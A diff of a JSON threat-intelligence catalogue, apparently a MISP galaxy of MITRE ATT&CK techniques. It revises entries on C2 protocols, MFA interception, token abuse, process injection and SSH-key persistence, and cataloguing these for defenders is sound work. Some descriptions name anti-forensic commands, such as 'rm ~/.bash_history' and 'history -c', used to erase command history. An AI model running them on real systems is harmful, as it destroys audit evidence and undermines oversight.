"Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution)\n Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.", "meta": { "external_id": "T1095", "kill_chain": [ @@ -7344,7 +6664,7 @@ "value": "Non-Application Layer Protocol - T1095" }, { - "description": "Adversaries may target multi-factor authentication (MFA) mechanisms, (I.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)", + "description": "Adversaries may target two-factor authentication mechanisms, such as smart cards, to gain access to credentials that can be used to access systems, services, and network resources. Use of two or multi-factor authentication (2FA or MFA) is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for two-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)", "meta": { "external_id": "T1111", "kill_chain": [ @@ -7368,7 +6688,7 @@ ] }, "uuid": "dd43c543-bb85-4a6f-aa6e-160d90d06a49", - "value": "Multi-Factor Authentication Interception - T1111" + "value": "Two-Factor Authentication Interception - T1111" }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1314).\n\nHost based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code. (Citation: VirutAP)", @@ -7533,34 +6853,6 @@ "uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "value": "SMB/Windows Admin Shares - T1021.002" }, - { - "description": "An adversary could use knowledge of the techniques used by security software to evade detection.(Citation: Brodie)(Citation: Tan) For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed \"su\" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection.(Citation: Rastogi)", - "meta": { - "external_id": "EMM-5", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf", - "http://www.blackhat.com/us-16/briefings.html#bad-for-enterprise-attacking-byod-enterprise-mobile-security-solutions", - "https://attack.mitre.org/techniques/T1630/003", - "https://media.blackhat.com/eu-13/briefings/Brodie/bh-eu-13-lacoon-attacks-mdm-brodie-wp.pdf", - "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html" - ] - }, - "related": [ - { - "dest-uuid": "0d4e3bbb-7af5-4c88-a215-0c0906bc1e8d", - "type": "subtechnique-of" - } - ], - "uuid": "a91262d5-b9ff-463f-b8d2-12e4ea1eb3c9", - "value": "Disguise Root/Jailbreak Indicators - T1630.003" - }, { "description": "Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)\n\nAdversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.\n\nAdversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)", "meta": { @@ -7676,7 +6968,7 @@ "value": "Cached Domain Credentials - T1003.005" }, { - "description": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions.\n\nAdversaries may delete their commands from these logs by manually clearing the history (history -c) or deleting the bash history file rm ~/.bash_history. \n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data.(Citation: US-CERT-TA18-106A)\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the PSReadLine module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe PSReadLine command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)\n\nAdversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)", + "description": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions.\n\nAdversaries may delete their commands from these logs by manually clearing the history (history -c) or deleting the bash history file rm ~/.bash_history.\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the PSReadLine module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe PSReadLine command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)\n\nAdversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)", "meta": { "external_id": "T1070.003", "kill_chain": [ @@ -7685,21 +6977,18 @@ "mitre_data_sources": [ "Command: Command Execution", "File: File Deletion", - "File: File Modification", - "User Account: User Account Authentication" + "File: File Modification" ], "mitre_platforms": [ "Linux", "macOS", - "Windows", - "Network" + "Windows" ], "refs": [ "https://attack.mitre.org/techniques/T1070/003", "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit", "https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7", - "https://www.us-cert.gov/ncas/alerts/TA18-106A" + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7" ] }, "related": [ @@ -7712,7 +7001,7 @@ "value": "Clear Command History - T1070.003" }, { - "description": "Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.\n\nAdversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", + "description": "Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an attacker may opt to exfiltrate data using a Bluetooth communication channel.\n\nAdversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", "meta": { "external_id": "T1011.001", "kill_chain": [ @@ -7774,7 +7063,7 @@ "value": "Dead Drop Resolver - T1102.001" }, { - "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.\n\nRemote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) \n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware)", + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.\n\nRemote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) \n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) technique for Persistence.(Citation: Alperovitch Malware)", "meta": { "external_id": "CAPEC-555", "kill_chain": [ @@ -7989,30 +7278,6 @@ "uuid": "9a60a291-8960-4387-8a4a-2ab5c18bb50b", "value": "File Transfer Protocols - T1071.002" }, - { - "description": "Adversaries may include functionality in malware that uninstalls the malicious application from the device. This can be achieved by: \n \n* Abusing device owner permissions to perform silent uninstallation using device owner API calls. \n* Abusing root permissions to delete files from the filesystem. \n* Abusing the accessibility service. This requires sending an intent to the system to request uninstallation, and then abusing the accessibility service to click the proper places on the screen to confirm uninstallation.", - "meta": { - "external_id": "APP-43", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1630/001", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-43.html" - ] - }, - "related": [ - { - "dest-uuid": "0d4e3bbb-7af5-4c88-a215-0c0906bc1e8d", - "type": "subtechnique-of" - } - ], - "uuid": "0cdd66ad-26ac-4338-a764-4972a1e17ee3", - "value": "Uninstall Malicious Application - T1630.001" - }, { "description": "Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)\n\nUnlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.", "meta": { @@ -8042,7 +7307,7 @@ "value": "Invalid Code Signature - T1036.001" }, { - "description": "Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nAdversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)", + "description": "Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.", "meta": { "external_id": "T1074.001", "kill_chain": [ @@ -8051,8 +7316,7 @@ "mitre_data_sources": [ "Command: Command Execution", "File: File Access", - "File: File Creation", - "Windows Registry: Windows Registry Key Modification" + "File: File Creation" ], "mitre_platforms": [ "Linux", @@ -8060,8 +7324,7 @@ "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1074/001", - "https://www.prevailion.com/darkwatchman-new-fileless-techniques/" + "https://attack.mitre.org/techniques/T1074/001" ] }, "related": [ @@ -8074,7 +7337,7 @@ "value": "Local Data Staging - T1074.001" }, { - "description": "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \n\nIn AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.", + "description": "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.", "meta": { "external_id": "CAPEC-593", "kill_chain": [ @@ -8088,20 +7351,14 @@ "mitre_platforms": [ "Office 365", "SaaS", - "Google Workspace", - "Containers" + "Google Workspace" ], "refs": [ "https://attack.mitre.org/techniques/T1550/001", "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/", "https://capec.mitre.org/data/definitions/593.html", - "https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials", - "https://cloud.google.com/iam/docs/service-account-monitoring", "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen", - "https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html", - "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html", "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens", - "https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration", "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/" ] }, @@ -8147,7 +7404,7 @@ "value": "SQL Stored Procedures - T1505.001" }, { - "description": "Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.\n\nAdversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems. On Windows, diantz or makecab may be used to package collected files into a cabinet (.cab) file. diantz may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) Additionally, xcopy on Windows can copy files and directories with a variety of options.\n\nAdversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)", + "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities. Many utilities exist that can archive data, including 7-Zip(Citation: 7zip Homepage), WinRAR(Citation: WinRAR Homepage), and WinZip(Citation: WinZip Homepage). Most utilities include functionality to encrypt and/or compress data.\n\nSome 3rd party utilities may be preinstalled, such as `tar` on Linux and macOS or `zip` on Windows systems.", "meta": { "external_id": "T1560.001", "kill_chain": [ @@ -8166,7 +7423,6 @@ "refs": [ "https://attack.mitre.org/techniques/T1560/001", "https://en.wikipedia.org/wiki/List_of_file_signatures", - "https://lolbas-project.github.io/lolbas/Binaries/Diantz/", "https://www.7-zip.org/", "https://www.rarlab.com/", "https://www.winzip.com/win/en/" @@ -8194,8 +7450,7 @@ ], "mitre_platforms": [ "IaaS", - "Azure AD", - "SaaS" + "Azure AD" ], "refs": [ "https://attack.mitre.org/techniques/T1098/001", @@ -8217,37 +7472,6 @@ "uuid": "8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", "value": "Additional Cloud Credentials - T1098.001" }, - { - "description": "Adversaries may exploit the lack of authentication in signaling system network nodes to track the to track the location of mobile devices by impersonating a node.(Citation: Engel-SS7)(Citation: Engel-SS7-2008)(Citation: 3GPP-Security)(Citation: Positive-SS7)(Citation: CSRIC5-WG10-FinalReport) \n\n \n\nBy providing the victim’s MSISDN (phone number) and impersonating network internal nodes to query subscriber information from other nodes, adversaries may use data collected from each hop to eventually determine the device’s geographical cell area or nearest cell tower.(Citation: Engel-SS7)", - "meta": { - "external_id": "CEL-38", - "kill_chain": [ - "mitre-mobile-attack:collection", - "mitre-mobile-attack:discovery" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf", - "https://attack.mitre.org/techniques/T1430/002", - "https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf", - "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-38.html", - "https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf", - "https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf", - "https://www.youtube.com/watch?v=q0n5ySqbfdI" - ] - }, - "related": [ - { - "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", - "type": "subtechnique-of" - } - ], - "uuid": "0f4fb01b-d57a-4375-b7a2-342c9d3248f7", - "value": "Impersonate SS7 Nodes - T1430.002" - }, { "description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)", "meta": { @@ -8408,7 +7632,7 @@ "value": "Archive via Library - T1560.002" }, { - "description": "Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) ", + "description": "Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems attackers may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) ", "meta": { "external_id": "CAPEC-659", "kill_chain": [ @@ -8465,9 +7689,9 @@ "refs": [ "http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf", "https://attack.mitre.org/techniques/T1036/003", + "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf", "https://lolbas-project.github.io/", - "https://twitter.com/ItsReallyNick/status/1055321652777619457", - "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + "https://twitter.com/ItsReallyNick/status/1055321652777619457" ] }, "related": [ @@ -8779,42 +8003,6 @@ "uuid": "c071d8c1-3b3a-4f22-9407-ca4e96921069", "value": "Install Digital Certificate - T1608.003" }, - { - "description": "An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, they may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify an existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts. For example, in Azure AD environments, an adversary with the Application Administrator role can add [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to their application's service principal. In doing so the adversary would be able to gain the service principal’s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation)", - "meta": { - "external_id": "T1098.003", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "User Account: User Account Modification" - ], - "mitre_platforms": [ - "Office 365", - "IaaS", - "SaaS", - "Google Workspace", - "Azure AD" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1098/003", - "https://cloud.google.com/iam/docs/policies", - "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html", - "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide", - "https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/", - "https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5", - "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d" - ] - }, - "related": [ - { - "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", - "type": "subtechnique-of" - } - ], - "uuid": "2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3", - "value": "Additional Cloud Roles - T1098.003" - }, { "description": "Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ", "meta": { @@ -8926,7 +8114,7 @@ "value": "Credential API Hooking - T1056.004" }, { - "description": "Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.\n\nAdversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI’s “add-metadata” command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm)\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. ", + "description": "Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the 